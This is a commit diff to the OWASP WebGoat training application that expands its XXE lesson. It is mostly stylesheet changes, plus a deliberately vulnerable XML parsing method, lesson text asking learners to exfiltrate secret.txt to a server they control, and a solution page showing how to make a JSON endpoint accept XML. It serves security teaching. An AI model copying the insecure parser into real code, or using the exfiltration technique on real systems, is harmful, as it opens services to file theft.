Extend XXE lesson with more content and add solution description

Remove obsolete images
Add stylesheet items specific for asciidoctor so we can for icons and source numbering
This commit is contained in:
Nanne Baars 2020-05-17 13:14:51 +02:00 committed by Nanne Baars
parent c4a046bd12
commit 9b72610510
73 changed files with 3209 additions and 534 deletions

View File

@ -115,6 +115,7 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
Map<String, Object> attributes = new HashMap<>();
attributes.put("source-highlighter", "coderay");
attributes.put("backend", "xhtml");
attributes.put("icons", org.asciidoctor.Attributes.FONT_ICONS);
Map<String, Object> options = new HashMap<>();
options.put("attributes", attributes);

View File

@ -3,7 +3,6 @@ package org.owasp.webgoat.asciidoc;
import org.asciidoctor.ast.AbstractBlock;
import org.asciidoctor.extension.InlineMacroProcessor;
import org.springframework.core.env.Environment;
import org.springframework.util.StringUtils;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1 @@
<?xml version="1.0" ?><!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'><svg enable-background="new 0 0 100 100" height="75px" id="Calque_2" version="1.1" viewBox="0 0 100 100" width="75px" xml:space="preserve" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g><path d="M16.64,33.53c0.63,0,1.25,0.16,1.81,0.46c0.88,0.49,1.52,1.28,1.8,2.25c0.28,0.97,0.18,1.98-0.31,2.86l-1.23,2.26 l6.43,3.52l3.52-6.43l-2.26-1.23c-1.82-1-2.49-3.29-1.5-5.11c0.67-1.21,1.93-1.96,3.31-1.96c0.63,0,1.25,0.16,1.81,0.46l2.25,1.24 l3.52-6.43l-7.67-4.2l1.92-3.49c0.62-1.14,0.2-2.57-0.94-3.2c-0.34-0.19-0.73-0.29-1.12-0.29c-0.87,0-1.66,0.47-2.07,1.23L24,18.96 l-7.67-4.2l-4.2,7.67l-3.49-1.91c-0.35-0.19-0.74-0.29-1.13-0.29c-0.86,0-1.65,0.47-2.07,1.22c-0.62,1.14-0.2,2.57,0.94,3.2 l3.49,1.91l-4.2,7.67l6.43,3.52l1.24-2.26C14,34.28,15.27,33.53,16.64,33.53z"/><path d="M34.97,68.32c0-2.07,1.69-3.761,3.77-3.761h2.57V57.23h-8.74v-3.98c0-1.3-1.06-2.36-2.36-2.36 c-1.29,0-2.35,1.061-2.35,2.36v3.98h-8.74v8.739h-3.99c-1.29,0-2.35,1.061-2.35,2.351c0,1.3,1.06,2.359,2.35,2.359h3.99v8.74h7.33 v-2.57c0-2.08,1.69-3.77,3.76-3.77c2.08,0,3.77,1.689,3.77,3.77v2.57h7.33v-7.33h-2.57C36.66,72.09,34.97,70.4,34.97,68.32z"/><path d="M71.25,68.32c0-1.29-1.06-2.351-2.35-2.351h-3.99V57.23h-8.74v-3.98c0-1.3-1.05-2.35-2.35-2.36 c-1.29,0.011-2.34,1.061-2.34,2.36v3.98h-8.74v8.739h-3.99c-1.3,0-2.35,1.061-2.35,2.351c0,1.3,1.05,2.359,2.35,2.359h3.99v8.74 h8.74v3.98c0,1.3,1.05,2.359,2.35,2.359s2.35-1.06,2.35-2.359v-3.98h8.73v-8.74h3.99C70.2,70.68,71.25,69.62,71.25,68.32z"/><path d="M92.49,65.97h-3.98V57.23h-8.74v-3.99c0-0.641-0.26-1.23-0.689-1.66c-0.43-0.42-1.01-0.69-1.66-0.69 c-1.3,0-2.36,1.061-2.36,2.36v3.98h-8.72v7.329h2.57c2.07,0,3.76,1.69,3.76,3.761c0,2.08-1.689,3.77-3.76,3.77h-2.57v7.33h7.311 v-2.57c0-2.08,1.689-3.77,3.76-3.77c2.08,0,3.77,1.689,3.77,3.77v2.57h7.33v-8.74h3.98c1.3,0,2.359-1.06,2.359-2.359 C94.85,67.02,93.79,65.97,92.49,65.97z"/><path d="M59.98,44.73c0,1.29,1.06,2.35,2.359,2.35h3.98v8.74h7.33v-2.57c0-2.08,1.689-3.77,3.77-3.77c1.03,0,1.97,0.43,2.66,1.11 c0.68,0.68,1.1,1.62,1.1,2.66v2.57h7.33v-7.33H85.94c-2.08,0-3.771-1.69-3.771-3.77c0-2.07,1.69-3.76,3.771-3.76h2.569v-7.33h-8.74 v-3.98c0-1.3-1.06-2.36-2.35-2.36c-1.3,0-2.36,1.06-2.36,2.36v3.98H66.32v8.74h-3.98C61.04,42.37,59.98,43.43,59.98,44.73z"/><path d="M38.74,47.08h3.98v8.74h7.33v-2.57c0-1.04,0.42-1.98,1.11-2.67c0.68-0.68,1.62-1.1,2.66-1.1h0.01 c2.08,0,3.77,1.69,3.77,3.77v2.57h7.311v-7.33h-2.57c-2.08,0-3.77-1.69-3.77-3.77c0-2.07,1.689-3.76,3.77-3.76h2.57v-7.33h-8.74 v-3.98c0-1.3-1.06-2.36-2.35-2.36c-1.301,0-2.36,1.06-2.36,2.36v3.98h-8.74v8.74h-3.98c-1.3,0-2.36,1.06-2.36,2.35 C36.38,46.02,37.44,47.08,38.74,47.08z"/></g></svg>

After

Width:  |  Height:  |  Size: 2.7 KiB

View File

@ -7,21 +7,25 @@ body {
font-family: 'Open Sans', sans-serif;
padding: 0px;
margin: 0px;
line-height: 1;
text-rendering: optimizeLegibility;
-webkit-font-smoothing: antialiased;
}
a:link,
a:visited {
text-decoration: none;
outline: none;
/* color: #e84c3d; */
}
a:hover,
a:active {
outline: none;
text-decoration: none;
color: #16a086;
}
h1,
h2,
h3,
@ -30,22 +34,28 @@ h5,
h6 {
font-family: 'Source Sans Pro', Arial, sans-serif;
}
p {
font-size: 14px;
}
hr {
margin-top: 10px;
margin-bottom: 10px;
}
img {
max-width: 100%;
}
::selection {
background: #fff7dd;
}
::-moz-selection {
background: #fff7dd;
}
/* ==========================================================================
Layout
========================================================================== */
@ -59,6 +69,7 @@ img {
-ms-transition: all 0.3s ease-in-out;
transition: all 0.3s ease-in-out;
}
/* Header */
#header {
z-index: 200;
@ -71,6 +82,7 @@ img {
transition: all 0.3s ease-in-out;
margin-right: 0;
}
#header .brand {
float: left;
width: 240px;
@ -79,6 +91,7 @@ img {
position: relative;
background: url('img/logoBG.jpg') no-repeat 0px 0px;
}
#header .logo {
color: #fff;
font-size: 1.7em;
@ -86,24 +99,29 @@ img {
padding: 23px 0 0 75px;
display: inline-block;
}
#header .logo span {
font-weight: 700;
}
#header .toggle-navigation button:hover,
#header .toggle-navigation button:active,
#header button#toggle-mail:hover,
#header button#toggle-mail:active {
background: #e84c3d;
}
#header .toggle-navigation button:hover i,
#header button#toggle-mail:hover i {
color: #F6F6F6;
}
#header .toggle-navigation.toggle-left {
margin-top: 5px;
margin-left: 20px;
display: inline-block;
}
#header .btn-default {
padding: 3px 9px;
background: #F6F6F6;
@ -115,27 +133,33 @@ img {
width: 35px;
height: 35px;
}
#header .btn-default .fa-bars,
#header .btn-default .fa-comment {
cursor: pointer;
color: #797979;
}
#header .btn-default .fa-info,
#header .btn-default .fa-envelope,
#header .btn-default .fa-user {
color: #797979;
}
#header .user-nav button:hover,
#header .user-nav button:active {
background: #e84c3d;
}
#header .user-nav button:hover i {
color: #F6F6F6;
}
#header #lesson-title-wrapper {
display: inline-block;
margin: 0 0 0 20px;
}
#header .pull-right {
float: right !important;
margin-top: 25px;
@ -177,6 +201,7 @@ img {
padding: 15px 15px 0 15px;
width: 100%;
}
.main-content-wrapper #main-content .h1 {
margin: 0;
padding: 0px 10px 40px 10px;
@ -186,9 +211,11 @@ img {
font-size: 42px;
font-family: 'Source Sans Pro', Arial, sans-serif;
}
.main-content-toggle-left {
margin-left: 0;
}
.main-content-toggle-right {
margin-right: 240px;
}
@ -205,10 +232,27 @@ img {
padding: 3px !important;
}
div.lesson-page-solution {
position: relative;
border: 2px solid #425c2f;
border-radius: 12px;
padding: 7px;
margin-top: 7px;
padding: 5px;
background-image: url('img/solution.svg');
background-repeat: no-repeat;
background-position: right 10px top;
}
div.lesson-image img {
border: 2px solid #aaa;
border-radius: 8px;
max-width: 50%;
height: auto;
margin-top: 10px;
margin-bottom: 20px;
}
/* ==========================================================================
Buttons
========================================================================== */
@ -227,10 +271,12 @@ div.lesson-image img {
-webkit-transition: border 0.25s linear, color 0.25s linear, background-color 0.25s linear;
transition: border 0.25s linear, color 0.25s linear, background-color 0.25s linear;
}
.btn:hover,
.btn:focus {
outline: none;
}
.btn:active,
.btn.active {
outline: none;
@ -238,6 +284,7 @@ div.lesson-image img {
box-shadow: none;
outline: none !important;
}
.btn.disabled,
.btn[disabled],
.btn fieldset[disabled] .btn {
@ -246,6 +293,7 @@ div.lesson-image img {
opacity: 0.7;
filter: alpha(opacity=70);
}
/* Default Buttons*/
.btn-default,
a.btn-default:link,
@ -254,12 +302,14 @@ a.btn-default:visited {
background-color: #bdc3c7;
outline: none !important;
}
a.btn-default:hover,
a.btn-default:active {
color: #ffffff;
background-color: #cbd0d3;
border-color: #cbd0d3;
}
.btn-default:hover,
.btn-default:focus,
.btn-default:active,
@ -269,12 +319,14 @@ a.btn-default:active {
background-color: #cbd0d3;
border-color: #cbd0d3;
}
.btn-default:active,
.btn-default.active,
.open .dropdown-toggle.btn-default {
background: #bdc3c7;
border-color: #bdc3c7;
}
.btn-default.disabled,
.btn-default[disabled],
fieldset[disabled] .btn-default,
@ -293,18 +345,21 @@ fieldset[disabled] .btn-default.active {
background-color: #bdc3c7;
border-color: #bdc3c7;
}
.btn-primary,
a.btn-primary:link,
a.btn-primary:visited {
color: #fff;
background-color: #e84c3d;
}
a.btn-primary:hover,
a.btn-primary:active {
color: #ffffff;
background-color: #C62F28;
border-color: #C62F28;
}
.btn-primary:hover,
.btn-primary:focus,
.btn-primary:active,
@ -314,12 +369,14 @@ a.btn-primary:active {
background-color: #C62F28;
border-color: #C62F28;
}
.btn-primary:active,
.btn-primary.active,
.open .dropdown-toggle.btn-primary {
background: #e84c3d;
border-color: #e84c3d;
}
.btn-primary.disabled,
.btn-primary[disabled],
fieldset[disabled] .btn-primary,
@ -338,21 +395,25 @@ fieldset[disabled] .btn-primary.active {
background-color: #e84c3d;
border-color: #e84c3d;
}
.btn-info {
color: #ffffff;
background-color: #3598db;
}
.btn-info,
a.btn-info:link,
a.btn-info:visited {
color: #ffffff;
background-color: #3598db;
}
a.btn-info:hover,
a.btn-info:active {
color: #ffffff;
background-color: #4ba3df;
}
.btn-info:hover,
.btn-info:focus,
.btn-info:active,
@ -362,12 +423,14 @@ a.btn-info:active {
background-color: #4ba3df;
border-color: #4ba3df;
}
.btn-info:active,
.btn-info.active,
.open .dropdown-toggle.btn-info {
background: #3598db;
border-color: #3598db;
}
.btn-info.disabled,
.btn-info[disabled],
fieldset[disabled] .btn-info,
@ -386,10 +449,12 @@ fieldset[disabled] .btn-info.active {
background-color: #3598db;
border-color: #3598db;
}
.btn-danger {
color: #ffffff;
background-color: #e84c3d;
}
.btn-danger:hover,
.btn-danger:focus,
.btn-danger:active,
@ -399,12 +464,14 @@ fieldset[disabled] .btn-info.active {
background-color: #eb6154;
border-color: #eb6154;
}
.btn-danger:active,
.btn-danger.active,
.open .dropdown-toggle.btn-danger {
background: #eb6154;
border-color: #eb6154;
}
.btn-danger.disabled,
.btn-danger[disabled],
fieldset[disabled] .btn-danger,
@ -423,10 +490,12 @@ fieldset[disabled] .btn-danger.active {
background-color: #e84c3d;
border-color: #e84c3d;
}
.btn-success {
color: #ffffff;
background-color: #2dcc70;
}
.btn-success:hover,
.btn-success:focus,
.btn-success:active,
@ -436,12 +505,14 @@ fieldset[disabled] .btn-danger.active {
background-color: #3ed47d;
border-color: #3ed47d;
}
.btn-success:active,
.btn-success.active,
.open .dropdown-toggle.btn-success {
background: #2dcc70;
border-color: #2dcc70;
}
.btn-success.disabled,
.btn-success[disabled],
fieldset[disabled] .btn-success,
@ -460,10 +531,12 @@ fieldset[disabled] .btn-success.active {
background-color: #2dcc70;
border-color: #2dcc70;
}
.btn-warning {
color: #ffffff;
background-color: #f1c40f;
}
.btn-warning:hover,
.btn-warning:focus,
.btn-warning:active,
@ -473,6 +546,7 @@ fieldset[disabled] .btn-success.active {
background-color: #f1c40f;
border-color: #f1c40f;
}
.btn-warning:active,
.btn-warning.active,
.open .dropdown-toggle.btn-warning {
@ -498,6 +572,7 @@ fieldset[disabled] .btn-warning.active {
background-color: #f1c40f;
border-color: #f1c40f;
}
/* Button Sizes */
.btn-lg {
padding: 10px 16px;
@ -526,6 +601,7 @@ fieldset[disabled] .btn-warning.active {
-o-border-radius: 3px;
border-radius: 3px;
}
/* ==========================================================================
Breadcrumbs
========================================================================== */
@ -536,6 +612,7 @@ fieldset[disabled] .btn-warning.active {
.breadcrumb > li {
font-size: 12px;
}
/* ==========================================================================
Icons
========================================================================== */
@ -548,6 +625,7 @@ fieldset[disabled] .btn-warning.active {
margin-right: 5px;
width: 20px;
}
/* ==========================================================================
Panels
========================================================================== */
@ -682,6 +760,7 @@ fieldset[disabled] .btn-warning.active {
.modal-footer .btn + .btn {
margin-bottom: 5px;
}
.modal .modal-body.modal-scroll {
max-height: 375px;
overflow-y: scroll auto;
@ -704,45 +783,57 @@ fieldset[disabled] .btn-warning.active {
font-size: 35px;
}
}
@media only screen and (max-width: 660px) {
#header {
height: 160px;
}
#header .brand {
width: 100%;
}
#header .user-nav ul {
padding-left: 0;
}
#header .toggle-navigation.toggle-left {
float: left;
}
.sidebar {
margin-left: -240px;
}
.sidebar-toggle {
margin-left: 0;
width: 100%;
}
.main-content-wrapper {
margin-left: 0;
}
.main-content-toggle-left {
margin-left: 660px;
}
.sidebarRight {
top: 160px;
width: 100%;
}
.user-nav ul li {
font-size: 12px;
}
}
@media only screen and (max-width: 479px) {
/* Main Content */
#main-content .h1 {
font-size: 22px;
}
#header .dropdown.messages {
display: none;
}
@ -849,6 +940,7 @@ cookie-container {
margin: -2px 0 0;
padding: 0;
}
#menu-container ul li {
list-style-type: none;
border-bottom: 1px solid rgba(255, 255, 255, 0.05);
@ -874,6 +966,7 @@ cookie-container {
#menu-container ul li a span {
display: inline-block;
}
#menu-container ul ul li {
/*background: #333;*/
background: #aaa;
@ -1002,7 +1095,9 @@ cookie-container {
}
@keyframes blink {
50% { border-color: white; }
50% {
border-color: white;
}
}
.cur-page {
@ -1181,3 +1276,212 @@ div.captured-flag {
width: 42px;
height: 47px;
}
.solution {
position: absolute;
top: 10px;
right: 25px;
width: 42px;
height: 47px;
}
/* Taken from asciidoctor page */
code {
font-family: "Droid Sans Mono", "DejaVu Sans Mono", monospace;
font-weight: 400;
color: rgba(0, 0, 0, .9)
}
.admonitionblock td.icon [class^="fa icon-"] {
font-size: 2.5em;
text-shadow: 1px 1px 2px rgba(0, 0, 0, .5);
cursor: default
}
.admonitionblock td.icon .icon-note::before {
content: "\f05a";
color: #19407c
}
.admonitionblock td.icon .icon-tip::before {
content: "\f0eb";
text-shadow: 1px 1px 2px rgba(155, 155, 0, .8);
color: #111
}
.admonitionblock td.icon .icon-warning::before {
content: "\f071";
color: #bf6900
}
.admonitionblock td.icon .icon-caution::before {
content: "\f06d";
color: #bf3400
}
.admonitionblock td.icon .icon-important::before {
content: "\f06a";
color: #bf0000
}
.quoteblock {
margin: 0 1em 1.25em 1.5em;
display: table
}
.quoteblock:not(.excerpt) > .title {
margin-left: -1.5em;
margin-bottom: .75em
}
.quoteblock blockquote, .quoteblock p {
color: rgba(0, 0, 0, .85);
font-size: 1.15rem;
line-height: 1.75;
word-spacing: .1em;
letter-spacing: 0;
font-style: italic;
text-align: justify
}
.quoteblock blockquote {
margin: 0;
padding: 0;
border: 0
}
.quoteblock blockquote::before {
content: "\201c";
float: left;
font-size: 2.75em;
font-weight: bold;
line-height: .6em;
margin-left: -.6em;
color: #7a2518;
text-shadow: 0 1px 2px rgba(0, 0, 0, .1)
}
.quoteblock blockquote > .paragraph:last-child p {
margin-bottom: 0
}
.quoteblock .attribution {
margin-top: .75em;
margin-right: .5ex;
text-align: right
}
.verseblock {
margin: 0 1em 1.25em
}
.verseblock pre {
font-family: "Open Sans", "DejaVu Sans", sans;
font-size: 1.15rem;
color: rgba(0, 0, 0, .85);
font-weight: 300;
text-rendering: optimizeLegibility
}
.verseblock pre strong {
font-weight: 400
}
.verseblock .attribution {
margin-top: 1.25rem;
margin-left: .5ex
}
.quoteblock .attribution, .verseblock .attribution {
font-size: .9375em;
line-height: 1.45;
font-style: italic
}
.quoteblock .attribution br, .verseblock .attribution br {
display: none
}
.quoteblock .attribution cite, .verseblock .attribution cite {
display: block;
letter-spacing: -.025em;
color: rgba(0, 0, 0, .6)
}
.quoteblock.abstract blockquote::before, .quoteblock.excerpt blockquote::before, .quoteblock .quoteblock blockquote::before {
display: none
}
.quoteblock.abstract blockquote, .quoteblock.abstract p, .quoteblock.excerpt blockquote, .quoteblock.excerpt p, .quoteblock .quoteblock blockquote, .quoteblock .quoteblock p {
line-height: 1.6;
word-spacing: 0
}
.quoteblock.abstract {
margin: 0 1em 1.25em;
display: block
}
.quoteblock.abstract > .title {
margin: 0 0 .375em;
font-size: 1.15em;
text-align: center
}
.quoteblock.excerpt > blockquote, .quoteblock .quoteblock {
padding: 0 0 .25em 1em;
border-left: .25em solid #dddddf
}
.quoteblock.excerpt, .quoteblock .quoteblock {
margin-left: 0
}
.quoteblock.excerpt blockquote, .quoteblock.excerpt p, .quoteblock .quoteblock blockquote, .quoteblock .quoteblock p {
color: inherit;
font-size: 1.0625rem
}
.quoteblock.excerpt .attribution, .quoteblock .quoteblock .attribution {
color: inherit;
text-align: left;
margin-right: 0
}
.conum {
display: inline-block;
color: #fff !important;
background: rgba(0, 0, 0, .8);
-webkit-border-radius: 50%;
border-radius: 50%;
text-align: center;
font-size: .90em;
width: 1.67em;
height: 1.67em;
line-height: 1.67em;
font-family: "Open Sans", "DejaVu Sans", sans-serif;
font-style: normal;
font-weight: bold
}
.conum * {
color: #fff !important
}
.conum + b {
display: none
}
.conum::after {
content: attr(data-value)
}
pre .conum {
position: relative;
top: -.125em
}
b.conum * {
color: inherit !important
}

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.9 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 549 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.2 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.3 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 690 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 563 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 482 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 684 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 476 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.9 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 613 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 784 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 878 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 716 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 894 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 95 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 83 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 83 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 84 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 83 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 798 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 37 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 119 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 265 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 324 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 669 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 21 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.2 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.3 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 49 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

View File

@ -16,6 +16,8 @@
<link rel="stylesheet" type="text/css" th:href="@{/css/animate.css}"/>
<link rel="stylesheet" type="text/css" th:href="@{/css/coderay.css}"/>
<link rel="stylesheet" type="text/css" th:href="@{/css/lessons.css}"/>
<!-- <link rel="stylesheet" type="text/css" th:href="@{/css/asciidoctor-default.css}"/>-->
<!-- end of CSS -->
<!-- JS -->

View File

@ -38,10 +38,6 @@ import org.springframework.web.servlet.i18n.FixedLocaleResolver;
import java.util.Locale;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.anyString;
import static org.mockito.Mockito.when;
public class AssignmentEndpointTest {
@Mock

View File

@ -1,27 +1,22 @@
package org.owasp.webgoat.path_traversal;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import java.io.File;
import org.hamcrest.CoreMatchers;
import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TemporaryFolder;
import org.junit.runner.RunWith;
import org.mockito.Mockito;
import org.owasp.webgoat.plugins.LessonTest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.mock.web.MockMultipartFile;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.io.File;
import static org.springframework.test.web.servlet.result.MockMvcResultHandlers.print;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
@RunWith(SpringJUnit4ClassRunner.class)
public class ProfileUploadFixTest extends LessonTest {

View File

@ -33,8 +33,10 @@ import org.springframework.context.annotation.Scope;
import org.springframework.stereotype.Component;
import javax.xml.bind.JAXBContext;
import javax.xml.bind.JAXBException;
import javax.xml.bind.Unmarshaller;
import javax.xml.stream.XMLInputFactory;
import javax.xml.stream.XMLStreamException;
import javax.xml.stream.XMLStreamReader;
import java.io.IOException;
import java.io.StringReader;
@ -76,17 +78,18 @@ public class Comments {
return allComments.stream().sorted(Comparator.comparing(Comment::getDateTime).reversed()).collect(Collectors.toList());
}
protected Comment parseXml(String xml) throws Exception {
JAXBContext jc = JAXBContext.newInstance(Comment.class);
/**
* Notice this parse method is not a "trick" to get the XXE working, we need to catch some of the exception which
* might happen during when users post message (we want to give feedback track progress etc). In real life the
* XmlMapper bean defined above will be used automatically and the Comment class can be directly used in the
* controller method (instead of a String)
*/
protected Comment parseXml(String xml) throws JAXBException, XMLStreamException {
var jc = JAXBContext.newInstance(Comment.class);
var xif = XMLInputFactory.newInstance();
var xsr = xif.createXMLStreamReader(new StringReader(xml));
XMLInputFactory xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, true);
xif.setProperty(XMLInputFactory.IS_VALIDATING, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);
XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(xml));
Unmarshaller unmarshaller = jc.createUnmarshaller();
var unmarshaller = jc.createUnmarshaller();
return (Comment) unmarshaller.unmarshal(xsr);
}

View File

@ -48,7 +48,7 @@ public class ContentTypeAssignment extends AssignmentEndpoint {
@Autowired
private Comments comments;
@PostMapping(path = "xxe/content-type", consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
@PostMapping(path = "xxe/content-type")
@ResponseBody
public AttackResult createNewUser(@RequestBody String commentStr, @RequestHeader("Content-Type") String contentType) throws Exception {
AttackResult attackResult = failed(this).build();

View File

@ -3,19 +3,17 @@
<script th:src="@{/lesson_js/xxe.js}" language="JavaScript"></script>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:XXE_plan.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:XXE_intro.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:XXE_simple_introduction.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:XXE_simple.adoc"></div>
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/xxe.css}"/>
@ -75,6 +73,16 @@
</div>
</div>
<div class="lesson-page-wrapper">
<div class="lesson-page-solution">
<div class="adoc-content" th:replace="doc:XXE_simple_solution.adoc"></div>
</div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:XXE_code.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:XXE_changing_content_type.adoc"></div>
<div class="attack-container">
@ -132,6 +140,11 @@
</div>
</div>
<div class="lesson-page-wrapper">
<div class="lesson-page-solution">
<div class="adoc-content" th:replace="doc:XXE_changing_content_type_solution.adoc"></div>
</div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:XXE_overflow.adoc"></div>

Binary file not shown.

After

Width:  |  Height:  |  Size: 564 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 189 KiB

View File

@ -4,8 +4,7 @@ In some cases you will see no output because although your attack might have wor
Or the resource you are trying to read contains illegal XML character which causes the parser to fail.
Let's start with an example, in this case we reference an external DTD which we control on our own server.
As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example
use this server to ping it using `webWolfRootLink:landing[noLink]`
As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example use this server to ping it using `webWolfRootLink:landing[noLink]`
How do we use this endpoint to verify whether we can perform XXE?
@ -50,5 +49,4 @@ Now in WebWolf browse to 'Incoming requests' and you will see:
}
----
So with the XXE we are able to ping our own server which means XXE injection is possible. So with the XXE injection
we are basically able to reach the same effect as we did in the beginning with the curl command.
So with the XXE we are able to ping our own server which means XXE injection is possible. So with the XXE injection we are basically able to reach the same effect as we did in the beginning with the curl command.

View File

@ -1,8 +1,6 @@
== Blind XXE assignment
In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD
which will upload the contents of a file secret.txt from the WebGoat server to our WebWolf server. You can use WebWolf to serve your DTD.
The secret.txt is located on the WebGoat server in this location, so you do not need to scan all directories and files:
In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD which will upload the contents of a file secret.txt from the WebGoat server to our WebWolf server. You can use WebWolf to serve your DTD. The secret.txt is located on the WebGoat server in this location, so you do not need to scan all directories and files:
|===

View File

@ -1,7 +1,6 @@
== Modern REST framework
In modern REST frameworks the server might be able to accepts data formats that you as a developer did not think about.
So this might result in JSON endpoints being vulnerable to XXE attacks.
In modern REST frameworks the server might be able to accepts data formats that you as a developer did not think about. So this might result in JSON endpoints being vulnerable to XXE attacks.
Again same exercise but try to perform the same XML injection as we did in first assignment.

View File

@ -0,0 +1,71 @@
=== Assignment solution
The idea behind this assignment is that while it may look that the application is only accepting JSON but if we change the body of the message to XML the framework might process it. When you try entering a comment the body of request will be:
[source, json]
----
{"text":"My first comment"}
----
This is a normal json message, let's try to change the content-type of the request
[source]
----
POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
Content-Type: application/xml
{"text":"My first comment"}
----
this results in the following exception:
[source]
----
javax.xml.bind.UnmarshalException\n - with linked exception:\n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,1]\nMessage: Content is not allowed in prolog.
----
Depending on the XML parser you might get a better error message, in this case the message is a bit cryptic, it means that we are not sending valid xml. For example the Jackson library gives the following message:
[source]
----
JSON parse error: Unexpected character '{' (code 123) in prolog; expected
'<'\n at [row,col {unknown-source}]: [1,1]; nested exception is com.fasterxml.jackson.core.JsonParseException:
Unexpected character '{' (code 123) in prolog; expected '<'\n at [row,col {unknown-source}]: [1,1]“
----
